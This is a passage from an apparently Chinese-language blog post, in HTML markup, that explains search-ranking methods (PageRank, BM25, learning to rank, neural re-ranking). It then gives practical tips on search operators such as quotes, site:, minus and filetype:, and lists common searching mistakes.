&lt;td&gt;&lt;strong&gt;页面在 Internet 上的重要程度&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;$M(p_i)$&lt;/td&gt;
&lt;td&gt;所有指向 $p_i$ 的页面集合&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;谁引用了它&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;$L(p_j)$&lt;/td&gt;
&lt;td&gt;页面 $p_j$ 的外链数量&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;引用者贡献会被平分&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;$d$&lt;/td&gt;
&lt;td&gt;阻尼系数（约 0.85）&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;模拟用户继续浏览的概率&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;$\frac{1 - d}{N}$&lt;/td&gt;
&lt;td&gt;随机访问补偿&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;防止出现死链、闭环结构偏置&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;note&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;一个页面的重要性，部分取决于引用它的页面的重要性。&lt;/strong&gt; 引用者越重要，贡献越大；引用越多，贡献越分散。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;PageRank 衡量的是 &lt;code&gt;引用来源的质量&lt;/code&gt;，而不是 &lt;code&gt;引用数量&lt;/code&gt;&lt;/strong&gt;。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h3&gt;PageRank 在现代搜索引擎中的作用&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;PageRank 作为 Google 早期排名核心的地位早已过去。Google 在2016年已停止公开更新 PageRank 工具栏，其原始算法在当前搜索引擎中的直接权重已微乎其微。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;现代搜索引擎的排名算法极其复杂，通常包含数百甚至数千个信号，远远超出了单一的 PageRank 模型。然而，PageRank 提出的「链接作为投票」的基本理念，其&lt;strong&gt;思想和原理&lt;/strong&gt;仍然被融入到更复杂、更先进的链接分析算法中。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;PageRank主导时期&lt;/th&gt;
&lt;th&gt;现在&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;主要排序依据&lt;/td&gt;
&lt;td&gt;仅作为众多排名信号之一&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;链接可信度高&lt;/td&gt;
&lt;td&gt;链接容易被 SEO 操纵，需结合其他因素判断&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;信息量小，网络结构相对简单&lt;/td&gt;
&lt;td&gt;网络复杂，语义理解和用户意图更重要&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;如今搜索排序更多依赖&lt;em&gt;但不限于&lt;/em&gt;以下因素：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;语义匹配&lt;/strong&gt;：例如利用 &lt;code&gt;Embedding / Transformer&lt;/code&gt; 等&lt;strong&gt;大模型&lt;/strong&gt;，深度理解用户查询和内容含义。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;用户行为反馈&lt;/strong&gt;：如 &lt;code&gt;CTR/Dwell Time&lt;/code&gt; 等，这些指标直接反映用户对搜索结果的满意度。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;内容质量评估&lt;/strong&gt;：对内容的深度、权威性、原创性、专业性进行综合评价。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;站点权威性&lt;/strong&gt;：通过更复杂的链接分析、品牌提及、专家推荐等评估网站的整体可信度。&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;总结：PageRank 的核心逻辑已演变为现代复杂链接分析中的&lt;code&gt;辅助因子&lt;/code&gt;，其原始形式不再是主导。&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;note&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;PageRank 深刻影响了搜索引擎的发展，但作为单一的排名模型，它已成为历史。然而，其「高质量引用等于高价值」的基本理念，依然是现代搜索引擎链接分析的基础之一。
&lt;strong&gt;引用质量 &amp;gt; 引用数量&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h3&gt;3.4 BM25 文本内容相关性评估&lt;/h3&gt;
&lt;p&gt;BM25 是一种广泛应用于信息检索领域的&lt;strong&gt;关键词匹配评分算法&lt;/strong&gt;，用于评估文档与查询之间的相关性。它是很多搜索引擎初排阶段的基石。&lt;/p&gt;
&lt;p&gt;公式：&lt;/p&gt;
&lt;p&gt;$$
\mathrm{BM25}(q, D)
= \sum_{t \in q}
\mathrm{IDF}(t)\cdot
\frac{f(t, D),(k_1 + 1)}
{f(t, D) + k_1\left(1 - b + b\cdot\frac{|D|}{\mathrm{avgDL}}\right)}
$$&lt;/p&gt;
&lt;p&gt;BM25 主要解决了文本匹配中的几个实际问题：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;问题&lt;/th&gt;
&lt;th&gt;BM25 的做法&lt;/th&gt;
&lt;th&gt;直觉效果&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;单词重复刷权重&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;词频饱和曲线&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;某个词在文档中重复 100 次 ≈ 重复 5 次，避免过度刷词。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;长文权重不应过高&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;长度归一化&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;长文章不会天然地比短文章「更相关」，避免长文优势。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;稀有词应被强调&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;IDF 权重&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;「专有名词」或「稀有词」的权值会比「普通词」更高。&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;通常位于搜索引擎的&lt;strong&gt;初排阶段&lt;/strong&gt;，对通过倒排索引召回的文档进行初步打分，从而筛选出前 100~1000+候选结果进入下一阶段。&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;3.5 学习排序 &lt;code&gt;LTR&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;随着网页质量差异的增大、用户行为数据的积累以及特征工程的成熟，搜索引擎需要一个&lt;strong&gt;可学习的排序模型&lt;/strong&gt;来综合判断文档相关性。这就是 LTR。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;典型 LTR 模型&lt;/strong&gt;：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;模型&lt;/th&gt;
&lt;th&gt;核心思想&lt;/th&gt;
&lt;th&gt;训练方式&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;RankNet&lt;/td&gt;
&lt;td&gt;基于&lt;strong&gt;成对比较 (pairwise)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;「文档 A 应该排在文档 B 前面」&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;LambdaRank / LambdaMART&lt;/td&gt;
&lt;td&gt;直接优化&lt;strong&gt;排序指标&lt;/strong&gt; (如 NDCG)&lt;/td&gt;
&lt;td&gt;现代&lt;strong&gt;主流搜索引擎通用&lt;/strong&gt;，效果出色&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ListNet / ListMLE&lt;/td&gt;
&lt;td&gt;直接对&lt;strong&gt;列表整体排序&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;更具理论性，但训练通常更复杂和困难&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;为什么要用 LTR？&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;超越传统算法&lt;/strong&gt;：像 BM25 这类算法只看文本特征，看不到复杂的&lt;strong&gt;用户行为&lt;/strong&gt;和&lt;strong&gt;页面质量&lt;/strong&gt;等信息。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;综合多维特征&lt;/strong&gt;：LTR 模型能综合利用海量特征，包括：
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;CTR&lt;/strong&gt;：用户是否点击了这条结果。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Dwell Time&lt;/strong&gt;：用户在页面上停留了多久。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Bounce Rate&lt;/strong&gt;：用户是否快速返回搜索结果页。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;历史搜索意图模型&lt;/strong&gt;：用户过往的搜索偏好和行为模式。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;如果用户总是点搜索结果列表中的第 3 条，并且停留很久，那么排序模型就会「学习」到这条结果可能更优质，从而慢慢将其排到第 1 条。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;note&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;搜索引擎的排序，早已&lt;strong&gt;不是简单地为「网页写给机器看」来排序&lt;/strong&gt;，
而是真正地为 &lt;strong&gt;「用户用脚投票」&lt;/strong&gt; 来排序。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h3&gt;3.6 语义重排 &lt;code&gt;Neural Re-ranking&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;现代搜索，尤其是在处理复杂查询和理解用户深层意图中，已经&lt;strong&gt;进入了纯语言理解阶段&lt;/strong&gt;。语义重排利用深度学习模型来更精确地衡量查询和文档间的语义相关性。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;使用模型&lt;/strong&gt;：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;类型&lt;/th&gt;
&lt;th&gt;模型例子&lt;/th&gt;
&lt;th&gt;特点&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;句向量模型&lt;/td&gt;
&lt;td&gt;SBERT / E5 / bge&lt;/td&gt;
&lt;td&gt;生成文本的稠密向量表示，主要用于&lt;strong&gt;粗语义召回&lt;/strong&gt;或过滤。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;精排模型&lt;/td&gt;
&lt;td&gt;Cross-Encoder / ColBERT / RAG Reranker&lt;/td&gt;
&lt;td&gt;对少量候选结果做&lt;strong&gt;深度语义比对&lt;/strong&gt;，计算细粒度相关性。&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;典型流程&lt;/strong&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;graph TD
    A[用户查询] --&amp;gt; B(倒排召回 / BM25);
    B --&amp;gt; C(粗语义召回 / Embedding);
    C --&amp;gt; D(精语义重排 / Cross-Encoder);
    D --&amp;gt; E(返回给用户);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;为什么不直接让大模型排序所有网页？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;因为计算成本是指数级差异，不可能直接用最复杂的模型处理所有数据：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;模型阶段&lt;/th&gt;
&lt;th&gt;每次排序成本&lt;/th&gt;
&lt;th&gt;处理规模与可行性&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;BM25&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;&amp;lt; 10 ms&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;可对&lt;strong&gt;百万到亿级网页&lt;/strong&gt;进行快速排序&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;向量检索&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;1 ~ 100 ms&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;可对&lt;strong&gt;千级到万级候选&lt;/strong&gt;进行语义筛选&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;大模型精排&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;100 ~ 1000+ ms&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;只能对几十条&lt;/strong&gt;精选结果做深度处理&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;排序层级&lt;/th&gt;
&lt;th&gt;方法&lt;/th&gt;
&lt;th&gt;作用&lt;/th&gt;
&lt;th&gt;处理规模&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;初排 (Recall)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;BM25 / TF-IDF&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;快速找出可能相关的文档&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;$10^6 \sim 10^8$&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;语义筛选&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;向量检索&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;找出语义上真正相关的文档&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;$10^3 \sim 10^4$&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;精排 (Re-rank)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Cross-Encoder / LTR&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;找到最符合用户需求的文档&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;$10 \sim 10^2$&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;4. 正确使用搜索引擎&lt;/h2&gt;
&lt;h3&gt;4.1 关键词&lt;/h3&gt;
&lt;p&gt;信息检索的本质，是&lt;strong&gt;提取核心概念&lt;/strong&gt;。避免使用口语化的完整句子。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;反例&lt;/strong&gt;：
&lt;code&gt;为什么我电脑上网速度很慢应该怎么办&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;正确示例&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;分解：&lt;code&gt;wifi slow fix driver&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;进阶：&lt;code&gt;wifi latency diagnose &quot;network adapter&quot; windows&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;核心规则&lt;/strong&gt;：从&lt;strong&gt;中文语义&lt;/strong&gt;出发 → 提炼&lt;strong&gt;关键名词&lt;/strong&gt; → 优先使用&lt;strong&gt;英文技术词&lt;/strong&gt;（如果问题涉及技术领域）。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h3&gt;4.2 强制精确匹配&lt;/h3&gt;
&lt;p&gt;使用&lt;strong&gt;双引号 &lt;code&gt;&quot;&lt;/code&gt;&lt;/strong&gt; 来强制搜索引擎精确匹配某个词或短语，不拆分、不改写。这能&lt;strong&gt;显著减少无关结果&lt;/strong&gt;，提升精度。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;&quot;舞萌 DX&quot;&lt;/code&gt; 评分&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&quot;start dash&quot; maimai&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&quot;openwrt&quot; &quot;ipv6 relay&quot;&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h3&gt;4.3 索引范围过滤&lt;/h3&gt;
&lt;p&gt;使用 &lt;code&gt;site:&lt;/code&gt; 指令将搜索范围&lt;strong&gt;限定在特定网站&lt;/strong&gt;，直达专业信息源。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;site:xice.cx openwrt&lt;/code&gt; (在我的 blog 上找 OpenWrt 相关内容)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;site:zhihu.com maimai 难度&lt;/code&gt; (在知乎上搜 maimai 难度讨论)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;site:wiki.archlinux.org f2fs&lt;/code&gt; (Arch Linux Wiki 中关于 F2FS 的资料)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;site:github.com magisk&lt;/code&gt; (在 GitHub 找 magisk 相关项目)&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;掌握 &lt;code&gt;site:&lt;/code&gt;，几乎可以&lt;strong&gt;100%命中&lt;/strong&gt;最有价值的权威技术答案。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h3&gt;4.4 无用结果过滤&lt;/h3&gt;
&lt;p&gt;在关键词后加上 &lt;strong&gt;减号 &lt;code&gt;-&lt;/code&gt;&lt;/strong&gt; 可以排除包含特定词语的结果，有效&lt;strong&gt;过滤噪音信息&lt;/strong&gt;。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;openwrt ipv6 优先级 -贴吧 -抖音 -小红书&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;maimai dx 曲目 推荐 -bilibili&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;当中文搜索结果充斥着低质量或营销信息时，「减法」指令往往比「加法」更重要、更有效。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h3&gt;4.5 文件类型过滤&lt;/h3&gt;
&lt;p&gt;使用 &lt;code&gt;filetype:&lt;/code&gt; 指令直接搜索特定文件类型，如 PPT、PDF、Word 文档等。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;maimai 音频 filetype:ogg&lt;/code&gt; (寻找 maimai 的 OGG 格式音频)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;互联网 基础设施 filetype:pdf&lt;/code&gt; (查找互联网基础设施相关的 PDF 文档)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;openwrt 网络 拓扑 filetype:docx&lt;/code&gt; (搜索 OpenWrt 网络相关的文档)&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;通过 &lt;code&gt;filetype:&lt;/code&gt;，你绝大多数情况下可以直接找到&lt;strong&gt;高质的学术资料&lt;/strong&gt;。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h3&gt;4.6 时间过滤&lt;/h3&gt;
&lt;p&gt;当信息具有时效性时（例如软件版本、AI 模型、新闻事件），限定搜索结果的时间范围非常关键。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;openwrt wireguard 教程 2024&lt;/code&gt; (限定搜索 2024 年的 WireGuard 教程)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;archlinux hyprland install 2025&lt;/code&gt; (查找 2025 年的 Arch Linux Hyprland 安装指南)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;或者，直接在 Google 搜索结果页面的「工具」中选择「不限时间」→「过去一年 / 过去一月」等选项。&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;4.7 反查&lt;/h3&gt;
&lt;p&gt;「反向搜索」可以帮助你找到图片来源、句子出处或相似内容。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;以图搜图&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Google Lens&lt;/strong&gt;：功能全面，适合各种图片识别。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Yandex Images&lt;/strong&gt;：在动漫、二次元图片识别方面表现&lt;strong&gt;尤其强大&lt;/strong&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;以词搜出处 (有意思的句子/梗)&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;将句子用双引号精确包围：&lt;code&gt;&quot;原文句子&quot; -微博 -抖音 -小红书&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h3&gt;4.8 抽象问题 转变为 模式匹配&lt;/h3&gt;
&lt;p&gt;不要直接搜索&lt;strong&gt;具体遇到的「问题」&lt;/strong&gt;，而是要搜索&lt;strong&gt;该问题的「结构」或「解决模式」&lt;/strong&gt;。这能让你从症状直接触达科学诊断方法。&lt;/p&gt;
&lt;p&gt;例如，你想找解决「延迟不稳」的方法，不要搜：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;网速慢怎么办&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;而是要转换为技术概念：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;icmp latency waveform&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;搜索不是「被动地找一个答案」，而是「主动地定位信息」。只要你将问题表达得足够结构化、足够精准，你所寻找的答案永远存在。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;5. 常见误区&lt;/h2&gt;
&lt;h3&gt;5.1 用「自然语言倾诉」代替检索&lt;/h3&gt;
&lt;p&gt;搜索引擎不是 Chat GPT，它更擅长处理结构化的关键词，而不是长篇大论的「倾诉」。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;反例&lt;/strong&gt;
&lt;code&gt;为什么我的 WiFi 总是特别卡而且有时候会掉线应该怎么办啊有没有办法解决&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;这种输入对搜索引擎来说就是噪音，它很难从中准确抽取出核心关键词。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;正确示例&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;wifi disconnect random fix&lt;/code&gt; / &lt;code&gt;network unstable diagnose&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;WiFi 掉线 诊断&lt;/code&gt; / &lt;code&gt;家宽 网络抖动 测试&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;不要跟搜索引擎倾诉，请直接表达「问题核心词」&lt;/strong&gt;。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h3&gt;5.2 只看第一页，不改关键词&lt;/h3&gt;
&lt;p&gt;大多数小白搜索失败后，只会抱怨：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;「百度/Google根本搜不到有用的信息」&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;搜索失败，往往&lt;strong&gt;不是搜索引擎的问题&lt;/strong&gt;，而是&lt;strong&gt;关键词结构不对&lt;/strong&gt;。此时，&lt;strong&gt;应当改写关键词&lt;/strong&gt;，而不是盲目翻页。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;EXAMPLE&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;第一次输入&lt;/th&gt;
&lt;th&gt;改写&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;提高maimai分数 &lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;maimai 推分&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;wifi 卡&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;bufferbloat test&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;游戏 延迟&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;udp relay latency diagnose&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h3&gt;5.3 不会过滤无效信息&lt;/h3&gt;
&lt;p&gt;在中文互联网环境下，垃圾、低质量内容泛滥时，&lt;strong&gt;减号语法 &lt;code&gt;-&lt;/code&gt;&lt;/strong&gt; 格外重要。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;openwrt ipv6 配置教程&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;openwrt ipv6 教程 -知乎 -抖音 -小红书 -CSDN&lt;/code&gt; (直接剔除那些信息密度低/重复/营销性强的内容)&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h3&gt;5.4 不区分「答案」与「解释」&lt;/h3&gt;
&lt;p&gt;很多人在搜索时，习惯于搜解释，但真正有价值的往往是&lt;strong&gt;HOW TO DO&lt;/strong&gt;。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;错误输入&lt;/th&gt;
&lt;th&gt;结果&lt;/th&gt;
&lt;th&gt;搜解决方案&lt;/th&gt;
&lt;th&gt;结果&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;什么是 bufferbloat&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;各种理论定义&lt;/td&gt;
&lt;td&gt;&lt;code&gt;bufferbloat fix fq_codel&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;具体的配置、优化指令和方法&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h3&gt;5.5 迷信「中文结果永远够用」&lt;/h3&gt;
&lt;p&gt;在技术、学术或系统问题领域，&lt;strong&gt;优先进行英文搜索&lt;/strong&gt;。因为&lt;strong&gt;权威信息源通常原生就是英文的&lt;/strong&gt;。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;反例&lt;/strong&gt;：
&lt;code&gt;游戏服务器 tick 解释&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;正确示例&lt;/strong&gt;：
&lt;code&gt;game server tick rate netcode&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;信息链路&lt;/strong&gt;通常是这样的：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;论文/标准 → 英文 wiki / docs → 国外论坛 / 博客 → 中文翻译/二创 → 小红书/知乎/CSDN&lt;/strong&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;5.6 将「搜索」当作「找别人替你思考」&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;搜索引擎的本质&lt;strong&gt;不是答案机&lt;/strong&gt;，它是一个高效的&lt;strong&gt;知识映射工具&lt;/strong&gt;。
你需要先明确自己要找什么类型的信息，再进行检索。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;先分类，再检索&lt;/strong&gt;：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;问题类型&lt;/th&gt;
&lt;th&gt;检索目标&lt;/th&gt;
&lt;th&gt;示例&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;原理类&lt;/td&gt;
&lt;td&gt;wiki / RFC / MDN / Docs&lt;/td&gt;
&lt;td&gt;&lt;code&gt;dns recursion rfc&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;配置类&lt;/td&gt;
&lt;td&gt;官方文档 / issue&lt;/td&gt;
&lt;td&gt;&lt;code&gt;openwrt mwan3 configuration&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;故障类&lt;/td&gt;
&lt;td&gt;日志错误码&lt;/td&gt;
&lt;td&gt;&lt;code&gt;systemd service failed exit code&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;blockquote&gt;
